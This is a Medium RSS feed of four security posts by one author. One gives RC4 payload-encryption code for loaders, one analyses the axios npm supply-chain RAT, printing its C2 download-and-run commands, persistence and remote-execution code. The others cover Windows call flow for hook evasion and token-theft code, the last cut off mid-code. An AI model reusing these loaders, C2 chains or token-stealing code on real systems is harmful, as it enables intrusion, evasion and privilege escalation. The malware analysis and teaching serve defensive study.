<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Itz.sanskarr on Medium]]></title>
        <description><![CDATA[Stories by Itz.sanskarr on Medium]]></description>
        <link>https://medium.com/@itzsanskarr?source=rss-713a6502cb82------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*W1-NjyDJAJq026szfOH4TQ.jpeg</url>
            <title>Stories by Itz.sanskarr on Medium</title>
            <link>https://medium.com/@itzsanskarr?source=rss-713a6502cb82------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 02:30:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@itzsanskarr/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Lazy RC4: Payload Encryption Using SystemFunction032]]></title>
            <link>https://infosecwriteups.com/lazy-rc4-payload-encryption-using-systemfunction032-9b89c370f407?source=rss-713a6502cb82------2</link>
            <guid isPermaLink="false">https://medium.com/p/9b89c370f407</guid>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Itz.sanskarr]]></dc:creator>
            <pubDate>Sun, 12 Apr 2026 13:37:16 GMT</pubDate>
            <atom:updated>2026-04-15T05:58:57.615Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*j_F-GfXU2hRN1nTo" /><figcaption>Photo by <a href="https://unsplash.com/@gabigi?utm_source=medium&amp;utm_medium=referral">Gabriela</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>It’s the weekend and I was writing malware for fun. A thought popped into my mind: what are the other ways we can implement RC4 in our code to encrypt a payload? So here is a short article on it.</p><p>The classic RC4 implementation is fairly long. It usually includes key scheduling, permutation arrays, and additional logic that increases code size. It works, but it is not always ideal when you want something compact for payload encryption. While searching for alternative approaches, I came across an undocumented Windows API called <strong>SystemFunction032</strong>, exported by <strong>Advapi32.dll</strong>, which already implements RC4 internally.</p><p>This means we can use the Windows API directly instead of implementing RC4 ourselves.</p><h3>What is SystemFunction032</h3><p>SystemFunction032 is an undocumented Windows function that performs RC4 encryption directly on a buffer. Since RC4 is symmetric, the same function is used for both encryption and decryption.</p><p>The function expects two <strong>USTRING</strong> structures:</p><ul><li>One describing the data buffer</li><li>One describing the key buffer</li></ul><p>The data buffer is modified in place by the function.</p><h3>The USTRING Structure</h3><pre>typedef struct {<br>    DWORD Length;<br>    DWORD MaximumLength;<br>    PVOID Buffer;<br>} USTRING;</pre><p>This structure describes a buffer in memory:</p><ul><li><strong>Buffer</strong> points to the data</li><li><strong>Length</strong> specifies how much data to process</li><li><strong>MaximumLength</strong> defines the buffer capacity</li></ul><h3>Function Prototype</h3><p>We dynamically resolve the function from <strong>Advapi32.dll</strong>:</p><pre>typedef NTSTATUS (WINAPI* fnSystemFunction032)(<br>    USTRING* Data,<br>    USTRING* Key<br>);</pre><p>The encryption happens in place, meaning the original buffer gets modified directly.</p><h3>RC4 Helper Using SystemFunction032</h3><pre>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br><br>typedef struct {<br>    DWORD Length;<br>    DWORD MaximumLength;<br>    PVOID Buffer;<br>} USTRING;<br>typedef NTSTATUS (WINAPI* fnSystemFunction032)(<br>    USTRING* Data,<br>    USTRING* Key<br>);<br>BOOL Rc4EncryptionViaSystemFunc032(<br>    PBYTE pRc4Key,<br>    PBYTE pPayloadData,<br>    DWORD sRc4KeySize,<br>    DWORD sPayloadSize<br>) {<br>    USTRING Data = { sPayloadSize, sPayloadSize, pPayloadData };<br>    USTRING Key  = { sRc4KeySize, sRc4KeySize, pRc4Key };<br>    fnSystemFunction032 SystemFunction032 =<br>        (fnSystemFunction032)GetProcAddress(<br>            LoadLibraryA(&quot;Advapi32.dll&quot;),<br>            &quot;SystemFunction032&quot;<br>        );<br>    return SystemFunction032(&amp;Data, &amp;Key) == 0;<br>}</pre><h3>Using It to Encrypt a Payload</h3><pre>int main() {<br>BYTE data[] = &quot;HelloWorld&quot;;<br>    BYTE key[]  = &quot;secretkey&quot;;<br>    DWORD dataSize = sizeof(data) - 1;<br>    DWORD keySize  = sizeof(key) - 1;<br>    printf(&quot;Original: %s\n&quot;, data);<br>    Rc4EncryptionViaSystemFunc032(key, data, keySize, dataSize);<br>    printf(&quot;Encrypted: &quot;);<br>    for (int i = 0; i &lt; dataSize; i++)<br>        printf(&quot;%02X &quot;, data[i]);<br>    printf(&quot;\n&quot;);<br>    Rc4EncryptionViaSystemFunc032(key, data, keySize, dataSize);<br>    printf(&quot;Decrypted: %s\n&quot;, data);<br>    return 0;<br>}</pre><p>Example output:</p><pre>Original: HelloWorld<br>Encrypted: A1 3F 9C 22 11 7B 8E 44 29 90<br>Decrypted: HelloWorld</pre><h3>Why This Works</h3><p>RC4 is a symmetric stream cipher. Encryption and decryption are identical operations. Calling the function twice with the same key restores the original buffer.</p><h3>Use Cases for Payload Encryption</h3><p>This approach is useful for:</p><ul><li>shellcode encryption</li><li>payload obfuscation</li><li>runtime decryption</li><li>encrypted configuration blobs</li><li>loader development</li></ul><p>Typical workflow:</p><ol><li>Encrypt payload</li><li>Store encrypted bytes</li><li>Decrypt at runtime</li><li>Execute payload</li></ol><h3>Final Note</h3><p>Using SystemFunction032 avoids implementing RC4 manually and keeps the code compact. The API already handles the algorithm internally, and we only need to wrap our buffers using USTRING and call the function. This makes it a clean and practical approach for payload encryption.</p><p>That’s it for this short article. Enjoy yourself.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9b89c370f407" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/lazy-rc4-payload-encryption-using-systemfunction032-9b89c370f407">Lazy RC4: Payload Encryption Using SystemFunction032</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Axios Just Got Weaponized — And Your npm install Pulled the Trigger]]></title>
            <link>https://infosecwriteups.com/axios-just-got-weaponized-and-your-npm-install-pulled-the-trigger-8ba05aac905e?source=rss-713a6502cb82------2</link>
            <guid isPermaLink="false">https://medium.com/p/8ba05aac905e</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[npm]]></category>
            <dc:creator><![CDATA[Itz.sanskarr]]></dc:creator>
            <pubDate>Wed, 01 Apr 2026 22:03:38 GMT</pubDate>
            <atom:updated>2026-04-02T06:55:33.292Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hEOBK6smuq4B-JFD3Du-Mw.png" /></figure><p>You install a package, npm resolves dependencies, and everything behaves exactly the way it is supposed to. That routine is so normal that you stop thinking about it. But this time, one of those dependencies is not there to help your application run. It is there to execute code on your machine the moment installation finishes.</p><p>That is exactly what happened with axios. For a brief window, installing axios did not just give developers an HTTP client. It delivered a fully staged, cross-platform remote access trojan that executed silently before you even opened your editor. No prompts, no warnings, no visible signs. Just install, and you are already compromised.</p><p>And the most uncomfortable part is this: axios itself was never malicious.</p><h3>The Change That Looked Completely Harmless</h3><p>If you compare a clean version of axios with the compromised one, you will not find suspicious logic buried inside the source code. No obfuscation, no injected functions, nothing obvious. The only real change sits quietly inside package.json.</p><pre>{<br>  &quot;dependencies&quot;: {<br>    &quot;follow-redirects&quot;: &quot;^1.15.11&quot;,<br>    &quot;form-data&quot;: &quot;^4.0.5&quot;,<br>    &quot;proxy-from-env&quot;: &quot;^2.1.0&quot;,<br>    &quot;plain-crypto-js&quot;: &quot;^4.2.1&quot;<br>  }<br>}</pre><p>That final dependency is the entire attack. It is not imported anywhere, not used anywhere, and contributes nothing to axios. That absence is intentional. The package is not meant to be used. It is meant to be installed so that npm executes it automatically.</p><h3>This Started With Access, Not Code</h3><p>Before any malware executes, something much simpler happens in the background. The maintainer account gets compromised. Once the attacker has access to a trusted npm publisher account, they no longer need to modify source code or submit pull requests. They can publish directly to npm using the same identity that developers already trust.</p><p>From the outside, everything still looks legitimate. The package name is the same, the maintainer is the same, and the ecosystem trust remains intact. The difference only appears when you look at how the package was published. Legitimate versions were pushed through CI pipelines with verifiable provenance, while the malicious versions were published directly using the npm CLI with stolen credentials. There is no corresponding commit and no CI trail. You install something that appears real, but it does not exist in the actual source history.</p><h3>The Dependency Was Planted Ahead of Time</h3><p>Before axios was modified, the attacker prepared a package called plain-crypto-js. At first glance, it looks completely normal. The name resembles legitimate crypto libraries, the structure looks clean, and earlier versions contained no malicious behavior. That is not accidental. It builds trust.</p><p>Then a new version introduces a single critical change:</p><pre>{<br>  &quot;scripts&quot;: {<br>    &quot;postinstall&quot;: &quot;node setup.js&quot;<br>  }<br>}</pre><p>That one line is enough. npm lifecycle scripts are executed automatically during installation, and they run with the same privileges as the user performing the install.</p><h3>npm install Is Already an Execution Engine</h3><p>When someone runs:</p><pre>npm install axios@1.14.1</pre><p>npm installs dependencies and then silently executes:</p><pre>node setup.js</pre><p>There is no warning and no prompt. From the developer’s perspective, it is just installation. From the attacker’s perspective, it is immediate code execution.</p><h3>The Loader Is Designed to Slow You Down</h3><pre>const _trans_2 = function(x, r) {<br>    let E = x.split(&quot;&quot;).reverse().join(&quot;&quot;).replaceAll(&quot;_&quot;, &quot;=&quot;);<br>    let S = Buffer.from(E, &quot;base64&quot;).toString(&quot;utf8&quot;);<br>    return _trans_1(S, r);<br>};<br>const _trans_1 = function(x, r) {<br>    const E = r.split(&quot;&quot;).map(Number);<br>    return x.split(&quot;&quot;).map((c, i) =&gt; {<br>        const S = c.charCodeAt(0);<br>        const a = E[7*i*i % 10];<br>        return String.fromCharCode(S ^ a ^ 333);<br>    }).join(&quot;&quot;);<br>};</pre><p>It looks complex, but it is not. The script reverses strings, decodes base64, and applies XOR transformations. These layers are meant to slow analysis, not prevent it.</p><h3>Once Decoded, the Behavior Is Straightforward</h3><p>After deobfuscation, the real logic becomes clear almost immediately.</p><pre>const C2_URL = &quot;hxxp://sfrclak[.]com:8000/6202033&quot;;<br>const platform = require(&quot;os&quot;).platform();</pre><p>The script then selects a payload based on the operating system.</p><pre>if (platform === &quot;win32&quot;) {<br>    // Windows payload<br>} else if (platform === &quot;darwin&quot;) {<br>    // macOS payload<br>} else {<br>    // Linux payload<br>}</pre><p>There is no complex detection logic. It simply determines the environment and proceeds.</p><h3>Execution Across Platforms</h3><p>On Windows, the malware uses built-in tools to stay quiet and blend in, but what looks like a simple PowerShell execution is actually the result of multiple stages that begin inside the dropper.</p><p>When setup.js runs, it detects the win32 platform and starts preparing the next stage dynamically. It first locates the system PowerShell binary:</p><pre>where powershell</pre><p>Instead of using it directly, it copies it into the ProgramData directory:</p><pre>%PROGRAMDATA%\wt.exe</pre><p>This is done to make the binary appear legitimate. The name wt.exe matches Windows Terminal, so it does not immediately look suspicious, and it also leaves a persistent copy on disk.</p><p>After that, the dropper creates a VBScript file and writes it to the system’s temporary directory:</p><pre>%TEMP%\6202033.vbs</pre><p>This file becomes the next execution layer. The contents of the VBScript define how the actual payload is fetched and executed:</p><pre>Set objShell = CreateObject(&quot;WScript.Shell&quot;)<br>objShell.Run &quot;cmd.exe /c curl -s -X POST -d &quot;&quot;packages[.]npm[.]org/product1&quot;&quot; &quot;&quot;hxxp://sfrclak[.]com:8000/6202033&quot;&quot; &gt; &quot;&quot;%TEMP%\6202033.ps1&quot;&quot; &amp; &quot;&quot;wt.exe&quot;&quot; -w hidden -ep bypass -file &quot;&quot;%TEMP%\6202033.ps1&quot;&quot; &quot;&quot;hxxp://sfrclak[.]com:8000/6202033&quot;&quot; &amp; del &quot;&quot;%TEMP%\6202033.ps1&quot;&quot; /f&quot;, 0, False</pre><p>Once written, this VBScript is executed silently using Windows Script Host:</p><pre>cscript &quot;%TEMP%\6202033.vbs&quot; //nologo</pre><p>At this stage, control has already moved away from Node.js. The VBScript launches cmd.exe, which uses curl to send a POST request to the command and control server. The response from that request is saved directly as a PowerShell script in the same temporary directory:</p><pre>%TEMP%\6202033.ps1</pre><p>This is important because the PowerShell payload does not exist on disk until this moment. It is delivered dynamically from the server at runtime.</p><p>As soon as the file is written, it is executed using the renamed PowerShell binary:</p><pre>wt.exe -w hidden -ep bypass -file %TEMP%\6202033.ps1</pre><p>The execution runs in the background with no visible window and bypasses execution policy restrictions. Immediately after launching the script, it deletes itself:</p><pre>del %TEMP%\6202033.ps1 /f</pre><p>The VBScript is also removed right after execution, so both %TEMP%\6202033.vbs and %TEMP%\6202033.ps1 are cleaned up, leaving very little trace of the initial stages.</p><p>From here, the attack continues inside the PowerShell payload. It establishes persistence through the registry:</p><pre>$regKey = &quot;HKCU:\Software\Microsoft\Windows\CurrentVersion\Run&quot;<br>$batFile = Join-Path $env:PROGRAMDATA &quot;system.bat&quot;<br><br>Set-Content -Path $batFile -Value $batCont -Encoding ASCII<br>Set-ItemProperty -Path $regKey -Name &quot;MicrosoftUpdate&quot; -Value $batFile</pre><p>It then loads additional code directly into memory using .NET reflection:</p><pre>function Do-Action-Ijt {<br>    param([string] $ijtdll, [string] $ijtbin, [string] $param)<br><br>    [byte[]]$rotjni = [System.Convert]::FromBase64String($ijtdll)<br>    [byte[]]$daolyap = [System.Convert]::FromBase64String($ijtbin)<br><br>    $assem = [System.Reflection.Assembly]::Load([byte[]]$rotjni)<br>    $class = $assem.GetType(&quot;Extension.SubRoutine&quot;)<br>    $method = $class.GetMethod(&quot;Run2&quot;)<br>    $method.Invoke(0, @([byte[]]$daolyap, (Get-Command cmd).Source, $param))<br>}</pre><p>By this point, execution has moved away from disk-based files and into memory, which makes the activity harder to detect using traditional methods.</p><p>What appears to be a simple PowerShell execution is actually a multi-stage chain where a Node.js postinstall script drops a VBScript into %TEMP%, which then downloads a PowerShell payload, executes it in a hidden context, and deletes both the script and payload to minimize forensic evidence.</p><p>On Linux, the approach is simpler but effective. A Python script is dropped into /tmp and executed in the background.</p><pre>python3 /tmp/ld.py &amp;</pre><p>That script begins by collecting system information:</p><pre>def get_system_info():<br>    manufacturer = open(&quot;/sys/class/dmi/id/sys_vendor&quot;).read().strip()<br>    product_name = open(&quot;/sys/class/dmi/id/product_name&quot;).read().strip()</pre><p>It also enumerates running processes:</p><pre>def get_process_list():<br>    for pid in os.listdir(&quot;/proc&quot;):<br>        if pid.isdigit():<br>            pass</pre><p>But it does not stop at reconnaissance. The script also includes a handler that allows the attacker to execute arbitrary commands and code on the system:</p><pre>def do_action_scpt(scpt, param):<br>    if not scpt:<br>        return do_run_scpt(param)<br>    payload = base64.b64decode(scpt).decode(&quot;utf-8&quot;, errors=&quot;strict&quot;)<br>    result = subprocess.run(<br>        [&quot;python3&quot;, &quot;-c&quot;, payload] + shlex.split(param),<br>        stdout=subprocess.PIPE,<br>        stderr=subprocess.STDOUT,<br>        text=True<br>    )</pre><p>This is where the behavior shifts from passive collection to active control. The malware can either execute direct shell commands or run base64-encoded Python payloads received from the command and control server. That effectively gives the attacker remote code execution on the system, allowing them to run arbitrary logic without dropping additional files to disk.</p><p>On macOS, the payload is deployed as a native binary in a path that mimics system components.</p><pre>/Library/Caches/com.apple.act.mond</pre><p>This location is chosen deliberately. Files under /Library/Caches are common and rarely inspected, which helps the payload blend in with normal system activity.</p><p>Execution is triggered through AppleScript, allowing the binary to run silently in the background:</p><pre>do shell script &quot;/Library/Caches/com.apple.act.mond&quot;</pre><p>Unlike the Windows flow, where multiple scripting layers are used, macOS execution is more direct. Once the binary is written to disk, it is immediately invoked without requiring additional staging scripts.</p><p>The binary itself is a Mach-O universal binary:</p><pre>Mach-O universal binary (x86_64 + arm64)</pre><p>This ensures compatibility across both Intel and Apple Silicon systems, allowing the same payload to execute regardless of hardware architecture.</p><h3>Command and Control Begins Immediately</h3><p>After execution, the malware reaches out to its command and control server.</p><pre>POST /6202033 HTTP/1.1<br>Host: sfrclak[.]com:8000<br>User-Agent: mozilla/4.0 (compatible; msie 8.0)<br>Content-Type: application/x-www-form-urlencoded</pre><p>The use of plain HTTP instead of HTTPS reduces complexity and avoids potential inspection issues.</p><p>The initial request sends system and filesystem data:</p><pre>{<br>  &quot;type&quot;: &quot;FirstInfo&quot;,<br>  &quot;uid&quot;: &quot;random-id&quot;,<br>  &quot;os&quot;: &quot;linux_x64&quot;<br>}</pre><p>Followed by periodic updates:</p><pre>{<br>  &quot;type&quot;: &quot;BaseInfo&quot;,<br>  &quot;hostname&quot;: &quot;dev-machine&quot;,<br>  &quot;processList&quot;: &quot;...&quot;<br>}</pre><h3>Full Remote Control Capability</h3><p>The RAT supports multiple command types that allow full interaction with the system.</p><pre>{<br>  &quot;type&quot;: &quot;runscript&quot;,<br>  &quot;Script&quot;: &quot;&lt;base64&gt;&quot;,<br>  &quot;Param&quot;: &quot;args&quot;<br>}</pre><pre>{<br>  &quot;type&quot;: &quot;peinject&quot;,<br>  &quot;IjtDll&quot;: &quot;&lt;dll&gt;&quot;,<br>  &quot;IjtBin&quot;: &quot;&lt;binary&gt;&quot;<br>}</pre><pre>{<br>  &quot;type&quot;: &quot;rundir&quot;,<br>  &quot;ReqPaths&quot;: [<br>    {&quot;path&quot;: &quot;/home/user/.ssh&quot;}<br>  ]<br>}</pre><p>This allows arbitrary code execution, file enumeration, and payload injection.</p><h3>The Timeline That Makes This Dangerous</h3><p>From the moment the install command runs:</p><pre>npm install axios@1.14.1</pre><p>Dependencies are resolved within seconds. The malicious package is installed and its postinstall script executes almost immediately. The payload is decoded, the system is fingerprinted, and the command and control server is contacted. Within roughly fifteen seconds, the second-stage payload is downloaded and executed.</p><p>By the time installation completes, the system is already compromised.</p><h3>And Then It Removes the Evidence</h3><p>Once execution is complete, the loader removes itself.</p><pre>fs.unlink(__filename);<br>fs.unlink(&quot;package.json&quot;);<br>fs.rename(&quot;package.md&quot;, &quot;package.json&quot;);</pre><p>The malicious script disappears, and the package structure is restored to something that looks completely normal.</p><h3>Indicators of Compromise</h3><p>The attack leaves behind a consistent set of package, network, and filesystem indicators that can be used to identify affected systems.</p><pre>Malicious Packages:<br>axios@1.14.1 → 2553649f2322049666871cea80a5d0d6adc700ca<br>axios@0.30.4 → d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71<br>plain-crypto-js@4.2.1 → 07d889e2dadce6f3910dcbc253317d28ca61c766</pre><pre>Network:<br>sfrclak[.]com (142.11.206[.]73:8000)<br>hxxp://sfrclak[.]com:8000/6202033<br>POST → packages[.]npm[.]org/product[0-2]<br>User-Agent → mozilla/4.0 (compatible; msie 8.0)</pre><pre>Filesystem:<br>Windows:<br>%PROGRAMDATA%\wt.exe<br>%PROGRAMDATA%\system.bat<br>%TEMP%\6202033.vbs<br>%TEMP%\6202033.ps1<br>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate<br><br>Linux:<br>/tmp/ld.py<br><br>macOS:<br>/Library/Caches/com.apple.act.mond</pre><pre>Safe Version:<br>axios@1.14.0 → 7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb</pre><h3>So What Actually Happened</h3><p>Nothing was exploited. No vulnerability was triggered. No protections were bypassed. The attacker did not break npm or axios.</p><p>They used them exactly as designed.</p><p>Because in reality:</p><pre>npm install</pre><p>is not just installing code.</p><p>It is executing it.</p><p>And this time, it executed something that should never have been there.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8ba05aac905e" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/axios-just-got-weaponized-and-your-npm-install-pulled-the-trigger-8ba05aac905e">Axios Just Got Weaponized — And Your npm install Pulled the Trigger</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[User Mode, Kernel Mode and the Windows Function Call Flow]]></title>
            <link>https://systemweakness.com/user-mode-kernel-mode-and-the-windows-function-call-flow-5f20925d4c6f?source=rss-713a6502cb82------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f20925d4c6f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Itz.sanskarr]]></dc:creator>
            <pubDate>Thu, 12 Mar 2026 19:41:00 GMT</pubDate>
            <atom:updated>2026-03-12T19:41:00.594Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*Cn4Q0XdQAyBrhM-O" /></figure><h3>User Mode, Kernel Mode and Why It Matters</h3><p>Before getting into injection techniques, evasion strategies, or shellcode, it is important to understand how Windows actually executes requests made by an application.</p><p>Malware does not operate outside the operating system. It relies on the same internal mechanisms that legitimate software uses. The difference lies in intent and execution strategy. To understand that strategy, we need to start with how Windows is structured.</p><p>A processor running Windows operates in two modes: user mode and kernel mode. Applications execute in user mode. The operating system core components execute in kernel mode.</p><p>This separation exists to maintain system stability. Code running in user mode is restricted. It cannot directly access hardware, execute privileged CPU instructions, or freely manipulate system memory. If an application crashes in user mode, the operating system can terminate it without affecting the entire system.</p><p>Kernel mode operates with full privileges. It has unrestricted access to memory and hardware. It manages processes, memory allocation, device drivers, file systems, and scheduling. If code fails in kernel mode, the entire system can crash.</p><p>Understanding this separation is fundamental. Every meaningful action performed by an application must cross the boundary between these two modes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/0*7Q9GmM32-8scctrZ.png" /></figure><h3>Why Applications Cannot Perform System Tasks Directly</h3><p>Consider a simple example where an application wants to create a file.</p><p>An application running in user mode cannot directly interact with disk drivers or the file system. Only the kernel has the authority to perform those operations. Therefore, the application must request the kernel to perform the task on its behalf.</p><p>This request follows a defined internal path.</p><p>Understanding that path is critical, especially in malware development, because security monitoring and detection mechanisms are often placed along this flow.</p><h3>The Windows Function Call Flow</h3><p>Suppose an application calls:</p><pre>CreateFile(&quot;test.txt&quot;, ...);</pre><p>At the surface level, it appears that the file is created directly. Internally, the process is layered.</p><p>The application first calls CreateFile, which is exported by kernel32.dll. This library exposes many common Windows API functions and is loaded into most processes.</p><p>However, kernel32.dll does not directly communicate with the kernel. Instead, it forwards the request to a lower level function named NtCreateFile, which resides inside ntdll.dll.</p><p>The file ntdll.dll is the lowest level available in user mode. It contains implementations of the Native API, commonly referred to as NTAPI. These functions are responsible for preparing the transition from user mode to kernel mode.</p><p>When NtCreateFile is executed, ntdll.dll performs a processor instruction called syscall on x64 systems or sysenter on x86 systems. This instruction switches execution from user mode to kernel mode.</p><p>At that point, control is transferred to the Windows kernel, largely implemented in ntoskrnl.exe. The kernel receives the request and interacts with internal components such as the I/O manager and file system drivers to perform the actual file creation.</p><p>Once completed, the result is returned back through the same chain: from the kernel to ntdll.dll, then to kernel32.dll, and finally to the original application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/0*Xt6xEkzOWEAHd9Iy.png" /></figure><p>From the perspective of the developer, it was a simple function call. Internally, it was a controlled privilege transition followed by coordinated execution in kernel mode.</p><h3>Relevance to Malware Development</h3><p>For malware development, this internal structure is not just theoretical knowledge. It directly affects design decisions.</p><p>Many defensive tools monitor high level Windows API calls such as CreateFile, VirtualAlloc, or WriteProcessMemory. Some solutions place hooks inside user mode libraries, including kernel32.dll or ntdll.dll. More advanced mechanisms observe behavior from kernel mode itself.</p><p>When you understand the exact flow of execution, you begin to identify where monitoring is likely to occur and what alternatives exist.</p><p>Questions like:</p><ul><li>Should the program call the documented WinAPI functions?</li><li>Should it invoke NTAPI functions directly?</li><li>Should it implement direct system calls to bypass user mode hooks?</li></ul><p>only make sense after understanding the architecture. Without that foundation, development becomes imitation rather than informed design.</p><h3>Conclusion</h3><p>Windows is structured in layers. An application does not communicate directly with the kernel. Instead, requests flow through subsystem libraries, into ntdll.dll, and then transition into kernel mode through a system call instruction.</p><p>Every system level action crosses the boundary between user mode and kernel mode.</p><p>For anyone serious about malware development or reverse engineering, this boundary is not just a technical detail. It is the central mechanism that governs execution, monitoring, and control.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f20925d4c6f" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/user-mode-kernel-mode-and-the-windows-function-call-flow-5f20925d4c6f">User Mode, Kernel Mode and the Windows Function Call Flow</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Manipulating Access Tokens: How Adversaries Leverage Windows Security Contexts]]></title>
            <link>https://medium.com/@itzsanskarr/manipulating-access-tokens-how-adversaries-leverage-windows-security-contexts-2bf7ed38e55f?source=rss-713a6502cb82------2</link>
            <guid isPermaLink="false">https://medium.com/p/2bf7ed38e55f</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Itz.sanskarr]]></dc:creator>
            <pubDate>Thu, 18 Sep 2025 05:43:55 GMT</pubDate>
            <atom:updated>2025-09-18T05:45:30.683Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*boPhhgFakJPiWEIaGD_wfQ.png" /></figure><p>Access tokens are like the VIP passes of Windows security. They let you do everything as if you were another user or system process. If an attacker already has admin rights, stealing and manipulating these tokens is basically like upgrading from economy to first class without anyone checking their ID.</p><h3>Understanding Tokens and Login Sessions</h3><p>Quick refresher before we dive into the fun stuff: Windows authentication revolves around <strong>login sessions</strong> and <strong>access tokens</strong>.</p><ul><li>A <strong>login session</strong> is basically “you’re in.” It starts after successful authentication and ends when you log off.</li><li>Each session gets a <strong>64-bit LUID</strong> (logon ID), and each token has an <strong>Authentication ID (AuthId)</strong> linking it back to that session.</li></ul><p>The <strong>Local Security Authority (LSA)</strong> handles this automatically, quietly doing all the heavy lifting. Think of the token as a backpack with all your security goodies in it.</p><p>Tokens include:</p><ul><li>User and group SIDs (your social circle in Windows terms)</li><li>Assigned privileges (what you’re allowed to touch)</li><li>Rights like SeDebugPrivilege (the “I can open anything” button)</li></ul><h3>Types of Access Tokens</h3><p>Windows has two main token types:</p><ol><li><strong>Primary Tokens</strong> — The “main” token you get when logging in interactively or remotely.</li><li><strong>Impersonation Tokens</strong> — The “pretend to be someone else for a while” token.</li></ol><p>Attackers often grab a token from one process and spin up another process using it.</p><h3>Local Administrator and Privilege Escalation</h3><p>Open two command prompts: one normal, one with admin rights. The admin prompt shows <strong>BUILTIN\Administrators</strong> as the owner. That is your token waving its little flag saying “I can do everything.”</p><p>Attackers love this. Why? Because with two privileges, they can:</p><ul><li>Impersonate a client using SeImpersonatePrivilege</li><li>Debug other processes using SeDebugPrivilege</li></ul><p>SeDebugPrivilege is basically a “skeleton key.” You can open almost any door on the system, which is why token theft becomes very interesting.</p><h3>Real-World Examples</h3><p>Token manipulation is not just theory. Threat actors and malware do this all the time. A few favorites:</p><ul><li><strong>APT28 (G0007)</strong> — Copied the SYSTEM token into the current process using CVE-2015–1701.</li><li><strong>Cobalt Strike (S0154)</strong> — Loves stealing access tokens from existing processes.</li><li><strong>Emotet (S0367)</strong> — Duplicates the user token to make the next step slightly less awkward.</li><li><strong>Okrum (S0439)</strong> — Impersonates logged-on users using ImpersonateLoggedOnUser.</li><li><strong>REvil (S0496)</strong> — Takes the token from whoever launched explorer.exe so the SYSTEM desktop does not notice.</li></ul><p>Basically, it is the “borrow and don’t get caught” approach in malware form.</p><h3>Practical Token Theft</h3><p>How it works in real life:</p><ol><li><strong>Set Privilege</strong> — Enable SeDebugPrivilege on the attacking process.</li><li><strong>Get Token</strong> — Open the target process token with OpenProcessToken.</li><li><strong>Duplicate Token</strong> — Copy it with DuplicateTokenEx.</li><li><strong>Impersonate and Launch</strong> — Call ImpersonateLoggedOnUser and spin up a new process.</li></ol><p>Take a token from winlogon and launch mspaint.exe. Congratulations, your paint session now has SYSTEM powers. Not that you should go painting the kernel, but you get the idea.</p><pre><br>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;iostream&gt;<br><br>// ----------------------------<br>// Function: setPrivilege<br>// Purpose: Enable a specific privilege (like SeDebugPrivilege) for the current process<br>// ----------------------------<br>BOOL setPrivilege(LPCTSTR priv) {<br>    HANDLE token;<br>    TOKEN_PRIVILEGES tp;<br>    LUID luid;<br>    BOOL res = TRUE;<br><br>    if (!LookupPrivilegeValue(NULL, priv, &amp;luid)) res = FALSE;<br>    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &amp;token)) res = FALSE;<br><br>    tp.PrivilegeCount = 1;<br>    tp.Privileges[0].Luid = luid;<br>    tp.Privileges[0].Attributes = 